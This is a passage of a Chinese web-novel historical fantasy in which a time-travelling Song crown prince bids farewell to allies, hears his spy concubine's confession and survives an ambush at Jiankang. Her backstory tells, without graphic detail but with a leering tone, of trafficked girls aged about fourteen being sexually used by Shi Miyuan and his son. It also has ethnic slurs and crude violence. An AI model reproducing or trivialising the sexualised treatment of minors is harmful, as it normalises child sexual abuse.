只见他振臂一呼,领着自己手下数千喽啰,从内部,杀起了自己人。彭义斌此时将精力,全都放在了被自己死死困住的那队重骑兵上。
这时军中乱起,再加上外围蒙古轻骑穿插袭扰。任凭彭义斌如何了得,也没能阻止全军溃散的收场!
数个时辰后,彭义斌双手被缚,一脸的憔悴。在被押送到蒙古大将悖鲁跟前之时,他始终扭头盯着西方那将落得日头,出神的看着那片火红的晚霞,那片一切即将结束,却魅力四射的天空,正是:
大风吹倒梧桐树,
一夜雨,
灵魂不知归处。
微冷,
天边残阳伴日暮。
美,
心急欲行又止步。
归处?
归处!
灵魂归处。
夕阳里,蒙古主帅,悖鲁威风凛凛得坐在马上,沉声劝彭义斌道“:务那汉人,本帅很是佩服你的胆识,你若肯跪在本帅面前磕几个响头,本帅愿将你以蒙古勇士视之,结为安达,共享荣华富贵!”。
彭义斌听了这个声音,并未回头,反倒是自言自语道“:唉!这**的浑噩世道,贼不像贼,民不像民,君不像君,臣不像臣!以致这些个边夷蛮贼,一个个都骑到了俺们汉人脑袋上拉屎撒尿,奶奶个熊,难道俺们炎黄子孙,真的只能活的如此窝囊了?”
“:务那汉人,本帅说了,只要你肯跪本帅,本帅愿意将你视作蒙古人的兄弟,绝对不会羞辱于你。”悖鲁再次劝道。
彭义斌听了,狂笑起来“:呵哈哈哈哈!奶奶个熊,你们这些蛮贼,想招降俺,简直是做梦,俺彭义斌,粗人一个,却也懂,那汉家史书上得名节,比死更可怕!俺生是汉人,死,也要做汉鬼!蛮贼,莫要在放屁,请速杀俺,蛮贼,俺草你祖宗!”
第二日,宋宇老早便起来了,出了卧房,本想和众人先一块吃个早饭,却见王焕君来到近前禀报“:太子兄长,三丰**已经和徒弟田奇,先行离去了。”
“:啊?怎么不告而别,走得如此匆忙?”
“:小妹也曾劝他俩和太子兄长你告个别,**却说,昨夜已经和您说过此事。”
宋宇听到这里,忙询问“:走了多久?去的哪个码头?”
“:半刻钟而已,去的城内码头。”
宋宇听到这里,忙向着马厩跑去。不多时寻了匹马,奔着码头赶去。
清晨入秋得襄阳城,凉意袭人,道路两侧花草上的晨露尚未消散,宋宇快马扬鞭,呼啸而过,却是震得花草上的雨露来回滚动,偶有滴落,恰似花与露得诀别。
待宋宇赶到码头,就见码头上客船正在靠岸。岸上等船之人不少,却见一手拿拂尘得道士,在这群人中显得格外突兀。
宋宇打马前行,待走到那道人近处,道人转头正好与宋宇对视,眼神茫然片刻,随即露出笑容“:殿下,贫道一介山中野道人,实不值得殿下如此厚待。”
“:**,你帮我这么多,我都来不及报答,若不相送,我此生难安。”
宋宇言罢,从马上跳下,又从马鞍上解下一个小包袱“:**,我知道你不喜欢黄白之物,这些银两,权当您日后行路的盘缠。”
张三丰并未拒绝宋宇的馈赠,吩咐身边田奇接过了包袱。
宋宇却开口问田奇“:田兄弟,你不愿留在我身边?”
田奇尴尬的笑了笑“:铁牛阵未立寸功,全军覆没,殿下不怪罪已经是不幸中的万幸了。”
“:就为这?”
“:也不全是,草民也是心向山水之间,庙堂嘈杂,于我道而言,难以静心。还望殿下莫怪。”
见两人去意已决,宋宇叹了口气“:也罢,世上无不散的宴席,且再问一句,你二人可有目的地?”
张三丰捋了捋胡须“:向北,大金国!”
话到此处,船家已然将船停靠好,吆喝着催促众人上船。
张三丰和徒弟田奇对着宋宇拱手告别,随即向船上走去。
宋宇目送两人上船,心里忽感空落落的,就像丢了什么东西似的。恰好远处寺庙钟鸣,一声声震颤人心,宋宇道“:
空山起钟声,
朝露送君行。
缘来一场梦,
缘尽万事空。
**,一路保重,愿你我今生,有缘还能相见。”
此时客船已经启航,张三丰挥手向着宋宇做最后告别“:
相逢不可欺,
偶然如飘蓬。
于道各努力,
千里自同风。
殿下,有缘自会相聚。”
送走了张三丰师徒,之后的日子,宋宇安排余阶将襄阳政务,全都交托给了孟宗政。
本想解散招募来的囚犯兵,可这些人全都说早已被史嵩之祸害的家破人亡,硬是要求留在宋宇身边。
宋宇看着自枣阳之战后,只剩下六百多的囚犯兵,不禁眼眶湿润,流着泪将他们留在了自己身边。
在留下一部分抄没来的财产,分配给孟宗政用来招抚流民后,宋宇留在襄阳的差事基本算是完成了。
本来孟宗政要把襄阳城曾参与过枣阳之战的士兵,全都让宋宇带走,但宋宇考量到城外流民数量庞大,最终决定将襄阳兵马留给了孟宗政。
倒是孟英耍了个鬼心眼,提议让孟宗政用五百忠顺军骑兵来换襄阳士兵。
本来宋宇觉得孟宗政不会同意,可孟宗政竟然爽快的答应了下来。连人带马一并交给了宋宇。孟宗政如此爽快,倒让宋宇有些不知所措了。
十余日后,宋宇一行人,已经坐船行到了距建康府不远处。只见宋宇翩翩白衫,满头长发,站立船头,衣袂飘飘随风而动,担得起一字帅。
想他出身贫贱,从后世而来,已经半年有余了。一路披荆斩棘,杀了不少人,也交了不少兄弟。
可越是这样,宋宇心里越是没底,因为面前已经只剩下一座直插云端的高山。
这座山便是那些盘踞在朝堂之上,勾心斗角,打压异己,容不得任何
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不和谐声音的,祸祸百姓的腐肉白蛆史弥远集团。
而想要打败他,宋宇又无从下手,只能行一步,算一步。经过这一路走来的所见所闻,宋宇不禁又想,就算自己打倒了史弥远,这天下人心,真的就不会再冒出别的权臣巨奸了吗?
就像史嵩之说的,人心向利,自己即使杀了这一批,早晚还会有别人上来继续填补空位。那自己杀得了这一时的太平人世,又有什么用?
“:殿下,你又走神了,想什么呢?可否说给奴家听听?”正在宋宇看着江面愣神,小小出现在自己身后,温柔的问道。
宋宇听到小小询问,强行挤出一个微笑“:让你们这些姑娘全都留在襄阳,到时本殿下回了临安,再接你们过去,你们倒好,一个个得没一个把我这大宋太子说的话放在眼里,全都跟了过来。你们,这么做实在太傻了!”
小小见宋宇还在纠结这事,笑着说道“:殿下,其实你的心意,我们都懂,你呀,实不必为我们操心。我们几个,可不像殿下您想像中那样娇弱,个个都是武艺高强呢。就连清儿姐,那也是箭法出众。相反的,殿下您这身手,估计连清儿姐都不如吧?你都不怕危险,我们又有什么好怕的呢?”
宋宇本想说句话,发发牢骚,结过直接被人取笑成了弱鸡。还是被个姑娘取笑,一时是臊得啊,脸色赤红,就跟被人煮了似的“;得,算我没说,我身手差,行了吧!”害臊之余,宋宇翻了个白眼回答道。
小小见太子吃瘪,嫣然一笑,随即走到了船头,优雅的坐到了船栏板上,将双腿垂在了船外侧,回头妩媚的招呼宋宇“:殿下,你想不想听奴家讲个故事?”
宋宇见小小突然一反常态,知道她心里有话要对自己说,也不见外了,潇洒的坐到了小小身旁“:有故事?正好,我有酒,咱边喝边听故事。”
言罢,从船头桌椅上拿过酒壶,爽快的饮了一大口,随即咧嘴“:啊!过瘾,小小,你也来点。”
小小接过酒壶,掩面饮了一小口,随即脚后跟交替踢着船身,打开了话匣子“;殿下,喝了你的酒,便给你讲一个故事,你且听仔细了!”
七年前,健康城外,秦淮河畔,一艘打扮艳丽的花船里。一个老鸨子,正在审视着面前一群衣衫褴楼的小姑娘。只听她边看边对旁边的龟公说道“:啧啧!金国这次送来的这批货,成色着实不错。你呀,这次差事办的好。”
龟公哈着个脸,打屁道“:嘿嘿...这不全都仰仗着您得脸面?不过,万万没想到,当初那不可一世得女**,今时今日,竟然穷到要抓女人,卖来咱们大宋,才能养得起军队的地步。”
“:你懂个屁!要不是咱史大人网开一面,这金人就算卖亲娘,咱也不要他的!要说咱们这位史大人那,真个是我大宋百年难得一遇的天之骄子。你且看看,这秦淮河上停泊的花船秀馆,全都得了咱史大人得关照,才能有今日红火的局面。要我说啊,谁要是能攀上咱史大人这支高枝儿,那真是八辈子修来的福分呦!”老鸨子一嘴一个史大人,叫的那叫一个亲。
第一百一十八回 小小的故事 聚散也匆匆
却在这时,打外面进来了几个身着衣甲得军士,直截了当的说道“:奉史大人命,特来取那批货物。”
老鸨子见说,立马热脸迎了上去,指着身前那几个衣衫褴楼的小姑娘说道“:军爷您看,新到的货,还没开封,热乎着呢!”
几个军士也不废话,也不管那几个姑娘是如何惊恐的瞅着自己,直接驱赶着她们往外就走,边走边互相说道“:咱们家相爷就是精力旺盛,每日绝不重样,必然换着新鲜花样玩,要是咱们,只怕早都精尽人亡了!”
又听另一人说道“:你懂个屁则个!你真当那些几千两银子一口的参汤补品,都是糊弄人的?好生没见识!”
“:呦呵!二位,你们这就叫不懂了吧?咱史大人结识了一位江湖神人,能够炼制壮阳丹,这丹药,一日御女十次,轻轻松松。”
那些衣衫褴楼的姑娘,就这样,被这群军士一路押到了行在临安,穿过了那象征有钱了,该享福了得涌金门,来到了一处恢弘的宅院里。
在这宅院里,已经有两个人坐在正厅等待他们的到来。而这两个人,就是宰相史弥远,和他的儿子史嵩之。
只见史嵩之这时不过十四五岁,正一只手挠着裤裆里那玩应,另一只手挖着鼻孔说道“:爹,怎的您要的新货,还不来?”
相比史嵩之那邋遢样,史弥远也好不到哪去,由于天气燥热,只见他浑身上下只穿了条短裤,就这么将一身肥肉,躺在了椅子上,老远看去,真像是谁家一滩猪肉成精了似的。
只见这史弥远颇为费力的从那满脸的肥肉中,将自己的眼睛挤出了一条缝,懒洋洋地答道“:你舅舅办事,向来不拖泥带水,想来不多时就到了。”
得,原来这群姑娘,竟然是史弥远的小舅子亲自找来的,这小舅子,很有眼力见啊!
就在他俩有一搭没一搭的闲聊时,史弥远的小舅子已经将姑娘带到了正厅。
辛勤的一通马屁胡拍之后,小舅子便乖巧得退了下去。留下史弥远父子,色迷迷的盯着这群衣衫褴楼的姑娘淫笑。
只见两人走下了太师椅,招呼身后的几个从人,命他们将这些姑娘梳洗打扮一新,便向着后堂走去。
要说这史弥远父子,是真会玩,那天晚上,这群不过十四五岁,含苞待放的小姑娘们,便分成两拨,分别服侍了他们父子两人。
正是那夜,其中得一个小姑娘趴在史弥远那堆肥肉上,流下了伤心的泪水。
故事讲到这里,小小回过头,盯着宋宇那对深邃的眸子,看着宋宇眼中的自己说道“:殿下,那个姑娘就算是被金人驱赶,买卖,一路颠沛流离,无饭无衣时,也没有哭泣,但在这一刻,那姑娘却哭了,因为她知道,作为一个女人,身子给了谁,就是将自己的命给谁了。”
故事讲到这里,小小也没等宋宇回答,有些不自然的捋了捋秀发,盯着江面继续讲起了故事:之后,这群姑娘的命运发生了变化,她们穿上了绫罗绸缎,吃起到了山珍海味,俨然过起了贵妇人的生活。
不过除了这些之外,史弥远还派来了两位先生,一个教她们琴棋书画,另一个教她们如何挑逗男人,伺候男人。
就这样,五年过去了。这群姑娘个个都成了琴棋书画精通,举手抬足间魅惑众生的存在。
而正是在这时,史弥远给了她们第一个任务,那就是让她们互相比拼,赢得,将会获得活下去的资格,输的,则只能成为别人活下去的垫脚石。经过琴艺,书画,魅惑,等等比试之后,最终流泪的那个姑娘,击败了所有姐妹,获得了最终胜利。
而她的奖励,除了能活下去之外,还被史弥远赐名‘苏小小’,将她派到了大宋太子赵竑的身旁,用来监视太子的言行举止,揣摩太子得好恶之心。
讲到这里,小小转过头,盯着宋宇看,就见宋宇面无表情,不见喜怒,小小苦笑道“:果然,你知道我来你身边的目的,想必你等今天这个故事,等了好久了吧?其实,小小在第一次遇到太子时,太子热情奔放,一把就将小小揽进了怀里,从此,小小这身子,便又成了太子您的私有物品,太子您为了小小,不惜重金,盖了竹楼,还说这叫‘竹屋藏娇’待到他日君临天下,定然会给小小个名分。”
说到这,只见小小媚态万千的轻轻撩去外衣,露出了胸前那对迷人得大白兔。
宋宇见此,苦涩的轻咳了一声,伸出手,将她撩去得外衣,重新披了回去“:已入深秋,风凉,莫要伤了身子.”
小小‘噗嗤’一声捂着嘴乐了,好不容易止住了笑声,对着宋宇妩媚的说道“:殿下,你知不知道,初见你时,虽然你我每日云雨之欢,肌肤之亲,但小小那时,却并不倾心于你,说白了,小小认为,您与史弥远之辈,没有什么区别,只不过,更蠢而已。那时的小小,只是将留在您身边,当作了一件任务。”
“:你跟我说这些,是何用意?”宋宇有些疑惑的问道。
小小被宋宇一句话问的有些尴尬“:你听了这些,不想要我的命吗?”
宋宇摇了摇头“:为何要杀你?你只不过是别人手里的一把利刃罢了,对方用利刃伤害我,我不去找对方,反倒责怪利刃太锋利?再者,你我到底有过肌肤之亲,归根到底,是我对不起你在先,没问你喜不喜欢我,便和你做出了那事。万分抱歉。正因如此,我既不会杀你,也不会恨你。而且我很好奇,是什么,让你改变了心意,在危急关头,救了我的性命。要知道,我若是**,史弥远得势,你定然更加受器重,到时锦衣玉食,安度余生,岂不妙哉?”
宋宇之所以这样说,主要是因为,这丫头在历史上很老实的祸祸**太子赵竑。之后便从历史上消失了。
小小莞尔一笑“:殿下,你可记得那日花园之事?”
“:当然记得,那天你穿的那身透视装,真是美的要人命啊!”
小小白了宋
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宇一眼“:殿下,你又不正经了,莫不是想要小小反悔救了你?若您真个这么想,那小小就成全了你。”语毕,小小脸色一凛,从袖间抽出一把短匕。比在了宋宇脖颈处。
宋宇见此,赶忙摆出一脸正气的样子说道“;哎呀,那天发生了什么,真是记不住了,还请小小姑娘明示。”
小小见宋宇学乖巧了,这才收回了**,笑着说道“:那天殿下醒了以后,就像变了一个人。
不再喜欢奴家这身子,反倒喜欢起了男人,还与他们结为了兄弟。小小还发现,殿下您交的这些兄弟,个个都不是****,贪婪成性得混蛋,个个都是正气凛然,本领高强之辈。
正因如此,小小觉得,您比他史弥远要强,将来做的一国之君,定然能改变这浑浑噩噩的世道。
让这世间,少些小小这般的苦命人儿。像殿下您这样的人,小小若是害你,岂不是畜生?”
语毕,小小忽然抬起了头,深吸一口气“:殿下,小小再给您唱个曲吧。
聚散匆匆,
云边孤雁,
水上浮萍。
教人怎不伤情?
觉几度,
魂飞梦惊。
后夜相思,
尘随马去,
月逐舟行。
“:殿下,小小有些事,不得不去做,暂离些时候,若是从此不再回来,那就说明小小福薄,没缘分常伴殿下左右,还请殿下忘了我吧。”
一席话说完,小小也不待宋宇反应过来,纵起身来,‘噗通‘一声,跳进了江水之中。
宋宇被面前的一幕搞得手足无措,赶忙招呼周围军士下水救人。但仍是白忙一场。
这小小,好像是沉底了,就此没有在浮上来。而宋宇看着那滚滚江水,愣住了:这丫头,没头没脑的说了这么些似是诀别的话,不会是一时想不开吧?
唉...其实刚才看他表情不对,自己就该将她拉到舱内的。现在什么都完了。宋宇正在独自懊悔,身后余阶等人闻声走了过来,只听余阶耸拉着个脸问道“:殿下,小小姑娘跳江啦?”
宋宇哼哧一声,算是默认了。
几个人听了,都是一阵唏嘘不已“:哎!这姑娘平日里端茶倒水,乖巧得很,怎的,说没就没了?”
“:可不是怎的,这姑娘相貌可人,更兼烧得一手好菜,这,以后让咱们这帮大老粗怎么过?要知道,那杨姑娘烧出来的菜,吃着吓人啊!”
“:几位,本姑娘这几日学学烧菜,看把你们得瑟的,这菜,难吃就难吃,好吃就好吃,怎么还和吓人扯上关系了?”正在这个档口,谢道清和王焕君杨妙珍三人也从船舱里走了出来,将方才这几个人发的牢骚听了个底吊,此时杨妙珍一脸生气地质问。
几人一见是杨妙珍,赶忙闭了嘴,识相的找借口散去了。
谢道清见此,紧走几步,对着宋宇说道“:殿下,你是不是说了什么不该说的,把她刺激到了?这才逼的她不得不跳江?”
第一百一十九回 回到建康了 看来有猫腻
宋宇默默的点点头,把手一摊“:也只能是我刺激到她了,当时旁边也没别人啊...”
半个时辰之后,宋宇船队驶入了建康水营码头。余阶等人已经纷纷从船舱内走了出来,站在了宋宇旁边“;殿下,这一路来相安无事,看来我等做事隐秘,史弥远还蒙在鼓里。”
宋宇点点头“:最好如此,不然,咱们只怕要被史弥远抬回临安了。”
说话的当口,船队已经在王坚与吕文德的指挥下,次第停泊在了港口内。
宋宇向着建康水营内一扫,就见一大票步军,在一个将军打扮之人带领下,恭敬的站在港口岸上,列队等着自己下船。
宋宇见此,正要吩咐众人下船,余阶却突然拉住宋宇胳膊劝阻道“;殿下,先不急下船,你有没有发现,这水营内有些古怪?”
宋宇见说,回过头疑惑的问道“:有古怪?什么古怪?”
余阶见宋宇没明白过来,面色凝重的说道“:为何这水营内,除了面前等候殿下的这批人,他处却连个巡营得兵丁都没有?”
“:哦?说来也是...兄弟你是说,史弥远已经知道咱们打败了史嵩之,要回临安了?因此在建康水营设了套,要在这里了结咱们是吗?”宋宇并非傻子,此时被余阶点醒,知道余阶提醒自己这里怕是有埋伏,因此一脸疑惑的问道。
余阶摇了摇头“;史弥远是不是知道了我等计划,小弟不知,不过,这建康水营有埋伏是一定了。不过可以看出,这群人是匆忙设伏,因此处处露出马脚。殿下且看。“
边说着,余阶边抬手指向了水营内的几个位置,又指了指在水营岸边停靠的船只说道”:殿下,你看这几处地方,很明显被人布置了阵脚,想来后面定然埋伏了**手,但看这阵脚慌乱摆放的程度,可见布置的时候十分匆忙,至于这水营内停泊的船只,竟然没有一同埋伏我等,这,更是我等不幸之中的大幸。“
宋宇寻着余阶所指的阵脚方向看去,就见那几处地方摆满了麻袋。但摆放极其不规则,而且麻袋还在往外渗水,可见里面填充的泥沙时间肯定长不了。
而周围余阶所说的那些船只,更是停靠的横七竖八,没几条船不说,船上的兵丁也是无精打采的在闲聊打屁。宋宇见此,已经对余阶的话深信不疑,对着余阶说道“;兄弟,我已尽信,如何行事,快快说来。”
余阶皱眉思索一阵,这才抬起头严肃的说道“:殿下,其实想破了此局,十分容易,你且看,这下边站着的水营统制薛斌,显然是小看了我等,所以只是粗略的布置一番,想他建康水营,满员不过四千余人,其中被我等又抽走一千余人,现在算来,埋伏的人数,至多不超过两千人,还都是些没经过战阵,缺乏训练的懒散营兵。再加上薛斌这草包统帅,这场战斗想要取胜,简直易如反掌。不过,小弟打算先试试另一种方法。“
说到这,余阶指了指宋宇身后的几个兄弟,继续开口道”:只要殿下将孟兄弟与彭兄弟派给小弟,小弟担保,三人便可完成任务。”
“:啊?你想怎样?莫不是要以三人之力,单挑两千伏兵?兄弟,切莫如此着急送死,咱这命金贵的很,不是这样拿来玩的!”宋宇听了,愕然的劝余阶道。
余阶见宋宇不肯,忙解释道“:殿下莫怕,你且仔细看这水营统制,身边虽然人众,但自己却站的如此靠前,真个如自缚献俘,小弟有把握,只要他不在我等下船之时万箭齐发,定然能毫不费力擒了这厮。”
原来这余阶是要擒贼先擒王,看余阶一副胸有成竹的样子,宋宇觉得这样做很靠谱,毕竟现在对方伏兵都在暗处,而且这建康水营得**兵,有没有装备火箭这种恐怖的武器,那还两说。
万一真打起来,哪怕对方再窝囊,凭着武器的优势,也绝对能让自己这边损伤不小。
与其一会昏天黑地恶战一场,不如来个巧力,毕竟像孟珙余阶这种,在历史上征战多年都没死得勇将们,干这种事还不是小菜一碟?
但宋宇觉得,这几个兄弟在勇猛,自己站在后边捡现成的,也是太难看了些,干脆开口说道“:此计甚妙,不过,他们毕竟在等本殿下,若是我不去,岂不让对方察觉到我等有戒心?万一失手,伤了几位兄弟,那可是大大的不妙。“
语毕,宋宇一拂衣袖,对着身后孟珙等人打了声招呼,当先一步向船下走去。
余阶见此,忙紧跑两步,待追上了宋宇“:殿下,你又胡闹了,我等**事小,你若有个差池,小弟岂不成了我大宋朝得罪人?”
看到余阶遮挡在了自己身前,又说出这番话,宋宇眉头一皱“:兄弟,若我真该死,当初掉入长江之中时,就已经**,再者,那么多大风大浪都熬过来了,本殿下还怕这建康水营得闲散养老兵,还有那每日寻花问柳的统制?”
得看来宋宇很了解这建康水营的统制以及这建康水营的实际情况。其实这也没办法,想这建康水营,紧挨着当时世界上最繁华的服务行业一条河,秦淮河。营中所有兵将的银子,几乎全都砸到了里面。更不用说这统制的私生活了。
余阶见宋宇打定了主意以身犯险,知道再劝也是无用功,在心里暗暗盘算起来:这史弥远若是知道了我等计划,照说应该举全国之力,阻止我等回临安面圣才是,但看这建康水营,皆是匆忙布置,不似是早有准备的模样。
不过,若是说这史弥远不知道我等行踪,那这小小的建康水营统制,又怎敢私自行刺当今太子?
就在余阶皱眉苦思的档口,宋宇等人已经小心翼翼的走下了船,但奇怪的是,这建康水营内,依旧静的出奇,使得宋宇甚至认为余阶猜错了。直到走到了这建康水营统制薛斌跟前,
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这宋宇才知道,余阶是对的。
只见建康水营统制薛斌,一改上次面见宋宇时的恭敬样,反倒是手拿一个黄布卷轴,高举大声喊道“:圣旨在此,太子赵竑跪下接旨!“
宋宇立马被这突如其来的一封圣旨搞蒙了,疑惑的看了一眼余阶,只见余阶点了点头,示意自己先接旨。
宋宇见此,甩了甩衣袖,领着一群兄弟跪拜道“:皇儿领旨。“
这薛斌见宋宇跪下了,也不墨迹,打开念了起来,但这圣旨简单的很,只有数句话:皇太子竑,奉命督粮京湖,不知体会朕意,替朕分忧,期间**,倒卖军粮,朕心甚怒,着建康水营统制薛斌拿下,押送临安朝堂议处。”
“嘶...”.听了这封圣旨,宋宇倒吸一口凉气,一脸不敢置信得再次看向余阶,余阶此时也向自己看来,不知从何时起,宋宇和余阶已经养成了眼神交流的习惯,只见余阶笑着摇了摇头,宋宇立马明白,这圣旨不管真假,他余阶也要动手了。
果不其然,只见趴在地上得余阶突然暴起,大喝一声“;兄弟们,动手就在此时!”言罢,当先向前飞奔,妄图擒住薛斌。
薛斌听了这声暴喝,大惊失色,吃惊之余,慌忙闪进了身后兵丁之中,让余阶扑了个空,更是大声冲着这些兵丁招呼道“:太子反了,来人呐,擒下太子,史相重重有赏!”喊罢,转身就要向后跑去。
宋宇听了这货所喊,脑门上直冒黑线:这货,傻缺吧。太子造返?好像我自打下了船,一直都是沉默的一方,是你们直接将我打成了犯人可好?
再者,你说太子造返,抓到了太子,领赏钱却要找史相,这踏马得,不是此地无银三百两么?
宋宇就这么站在后面胡思乱想,前边一票兄弟,已经打倒了面前一片人。宋宇回头再看身后,更是乌泱泱一大片人,从船上跑下来支援自己。
却说前面拿着圣旨的薛斌边拨开人群跑,边向后看了一眼,这一看,薛斌差点没吓得尿了裤子,只见身后一个彪形络腮胡子大汉,哇哇怪叫着追赶自己而来,而自己身后那些兵丁,纷纷被这彪形大汉撞倒在地。
眼看这大汉越追越紧,薛斌都要急哭了,奔丧似的哭叫着冲出了人群,仰天大喝“:太子造返啦,快来救我!快来救我啊!“
四下却见没人应声,薛斌大骇,知道喊也白喊,索性摸准一个方向,连滚带爬的边跑边自言自语道“:麻蛋,这群怂货,关键时刻扔下本将跑了。”
如此咒骂着,薛斌越加跑的迅速,只见他几个箭步,跨过了用麻袋叠成的阵脚,停在麻袋后面,大口地喘起了粗气。
待缓过劲来才发现,原来自己布置的伏兵,全都静静的藏在麻袋之后,只不过,此时都是满脸苦逼的盯着自己看。
薛斌见此,破口大骂“:贼杀才,为何既不救我,也不放箭支援?”
第一百二十回 薛斌的哥哥 余阶的打算
躲在阵脚后面的一群伏兵,见薛斌质问自己等人,互相看了看,随后齐齐说道“:薛将军,那位,可是太子,伤到了,可是诛灭九族的罪啊!”看来宋宇的太子光环,还真是有点用的。不然只怕薛斌跑掉那一刻,就已经被这些伏兵乱箭射**。
薛斌听了他们的顾及,这才明白过来,原来这群蠢货是因为这个,才不敢射箭援助自己,心里这个恨哪,也不待这群人在说什么,薛斌仿佛疯了似的,对着这群人是拳打脚踢,边打边骂道“:你们这群蠢货,本将被你们害**!哎呀...本将这次真的被你们害**!嗷嗷啊...”打着打着,薛斌竟然哭了起来。
却听身后一声怒喝“:奶奶个熊,狗东西,拿命来。”
喊声落,就听‘砰’的一声,沙包堆砌的防御被撞开,彭义斌满身泥土,冲了进来。
不过待彭义斌看到沙包后面连哭带嚎,连打带骂的场面,站在原地道“:哎?你们,这是闹的哪般?现在可不是内讧的时候,俺还没杀个痛快呢!”言罢,就要上前**。
“:彭哥哥,你说你从这沙包上跳过去多好?非得将它撞破,弄得满身泥土。“正在彭义斌要上前**过过瘾,身后传来了一个奶声奶气的声音。
彭义斌听了身后这个声音,尴尬的转过头去,笑着说道“:孟家妹子,俺本想跳过去,可惜跑得太快,没停住身形,这才将这些沙包撞开了去。”
原来身后是孟英,只见孟英咧嘴一笑,手拿铁剑,走到了彭义斌身边,对着仍在打骂士卒得薛斌说道“:你这家伙,见了我们,跑的比兔子都快!不过,方才你还胆小如鼠,怎的现在打起自己人来,如此蛮横霸道?莫不是,耗子扛枪窝里横?”
薛斌此时也不知是吓得,还是急的,两眼腥红得回过头,恶狠狠得看着说话的彭义斌两人,直直走了过来。
待走到近处,双腿一软,‘噗通’一声,直接跪在了地上“:好汉,女侠饶命,小人是奉了皇上旨意,迫不得已啊,”语毕,以头凿地,‘梆梆梆’那叫一个脆响。
彭义斌俩人对视一眼,只听孟英调笑得说道“;这厮是个怂货,好生无趣,要本姑娘看,一剑杀了算了!”
其实这孟英就是这种说话风格,喜欢打秋风,吓唬人。
但跪在地下的薛斌可不这么想,只见他浑身猛然打了个激灵,随即跳了起来,在原地是左窜右跳,耍起了手中那把宝剑。
几招耍完,只听这薛斌喷着唾沫星子说道“:想杀本将,没那么容易,本将好歹也是武穆剑传人!”
彭义斌一听这个,疑惑的问孟英道“;武穆剑?岳飞所创?俺听说这套剑法,只在岳姓嫡孙中传承,从来不传外人啊?”
孟英此时已经怒了,只见她秀眉倒竖,将手中宝剑恶狠狠的插在了地上,就这么赤手空拳的,走向了依旧保持着落剑式得薛斌。
薛斌见这姑娘满脸怒火,凶神恶煞的向自己走来,赶忙边摆手边说道“;你别过来啊,武穆剑可不是闹着玩的,只要出招,你这俊美的小脸蛋准没了啊!”
哪知孟英依旧没有停下来的意思,仿佛着了魔,笔直的走了过去。薛斌见此,手起剑出,伶俐的刺向了孟英。
孟英一歪头,躲过这个刺击,随后轻巧的一抬腿,正中薛斌裆部,薛斌老二被踢,登时脸就绿了,手里的剑‘哐啷’一声掉在地上,捂着裆部跳起了骑马舞。
孟英瞅准这个机会,右手向前一抓,将薛斌衣领抓在了手里。同时左手用力一甩‘啪’的一声,一巴掌甩在了薛斌脸上。
薛斌被这一巴掌打愣了,捂着裆部说道“:臭娘们,你敢打老子脸?”
孟英见他骂自己,更是怒火中烧,抓着他的衣领,大巴掌如雨点般抽了过去,只听‘**’...之声不绝于耳。许久才听一道声音阻止“;孟丫头,够了,这货都被抽成猪头了...
孟英听了这个声音,才止住了巴掌,右手用力,将抽得半死不活的薛斌扔到了地上,回头说道“;殿下,这货嘴里不干不净不说,竟然还敢冒充武穆剑传人,着实可恨。孟英这才教训教训他,让他长长记性。”
说到这,孟英脑袋一歪继续问道“:诶?殿下,你那边收拾妥当了?“
宋宇用右手大拇指指了指身后“:喏!一柱香不到,数百人全被放倒了。“
孟英看了看宋宇所指的方向,只见那里躺着一大片人,还有十几个正跪在地上,等着接受处理。
心里对宋宇这帮子兄弟的身手,很是满意。毕竟自打认识宋宇以来,孟英还是第一次和宋宇这群兄弟合力杀贼。
宋宇则不声不响的,走到被孟英抽的半死不活得薛斌跟前,问道“:薛统制,嘿!**没?“
薛斌那脸,被抽的已经发了。只见他微微张了张嘴,有气无力地说道道“:我家哥哥,乃是史相跟前得红人,大理寺卿薛极,你们这样对我,我家哥哥定然会为我报仇。”
宋宇听了薛斌之言,觉得这话很不对味,砸吧砸吧嘴说道“:薛统制,你觉得,我这太子身份,还没你家哥哥,那个大理寺卿官大是不是?”
薛斌苦笑一声“:哼嗯...没兵没权的太子,能做个甚?”
宋宇见这薛斌很瞧不起自己,也没打算要和他斗嘴,转移话题道“:薛统制,我也不和你斗嘴,你要明白,你这条脆弱的狗命,现在正攥在本太子手心里,我只要轻轻这么一捏,你就会像只蚂蚁一样,被本太子捏死,正因如此,薛统制说什么之前可得先想好了,别因为逞一时的口舌之快,白白丢了这条狗命。”
“:你想问什么?”薛斌很上道,听完宋宇这席话,立马明白宋宇有事问自己。
宋宇笑着说道“:这封圣旨,真是我父皇所写?”
“:不是。“薛斌很老实得回道。
宋宇继续问道“:那它是史弥远所写?史弥远已经知道了本殿下在襄阳所做的事
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“:是史弥远府上的管家给我的,不过,史弥远还不知道你的死活。“薛斌继续说道。
宋宇听他这么回答,糊涂了,追问道“:你莫不是框我?既然圣旨不是我父皇所写,是那史弥远所写,而史弥远并不知道本太子的死活,你这,根本前后矛盾啊!”
别说,解铃还须系铃人,现在这场糊涂账,宋宇还真是问对了人,只见薛斌痛苦的抽动面皮,笑了一下,立马疼的眼泪直流,就这么连笑带哭的回答宋宇道“:前两天,史相派管家万昕来,将这封圣旨交给了本将,并且名言,太子回不来便好,若是回来了,便拿着这封圣旨,诓骗与你,若是太子不信,拒不领旨,就地格杀。”
听到这,一直默不作声站在一旁的余阶豁然开朗,急忙对宋宇说道“:殿下,看来史弥远并未知道我等的打算,想来,他史弥远是因为长时间收不到京湖的消息,为了保险起见,提前便给这建康水营布置了任务,我等若是来了,便就地格杀勿论,即使杀不了,建康水营也会提前得到消息,放出风去,他史弥远也好有所防备。可见这史弥远行事,也是小心谨慎的很,提前便布置好了后招。”
说到这,余阶脸色一凛,质问薛斌道“:薛斌,你是不是在我等靠岸之时,便已经差人去临安报信了?”
薛斌平静地回道“:你说的不错,史相确实不知道你们还活着,不过,我已经差人前去报信了,只要消息送到,你们定然不会活着回到临安的!你们现在放了本将,本将或许在将来求求我家哥哥,能让你们死得痛快一点。”
余阶听到这里,面色严峻的对宋宇说道“:殿下,看来,咱们不抓紧赶路,是不行了。而且小弟有个不好的预感,这史弥远,怕是已经将咱们留在临安的兄弟,全都或抓或杀了。”
宋宇一听大惊“:啊?襄阳那边情况未知,他史弥远敢不留余地的动手?”
余阶叹了口气“:唉!看来这史弥远,已经做了决定,这次铁了心要将咱们置于死地。绝对不会让咱们活着回到临安的。”
宋宇追问“:那现在该怎么办?”
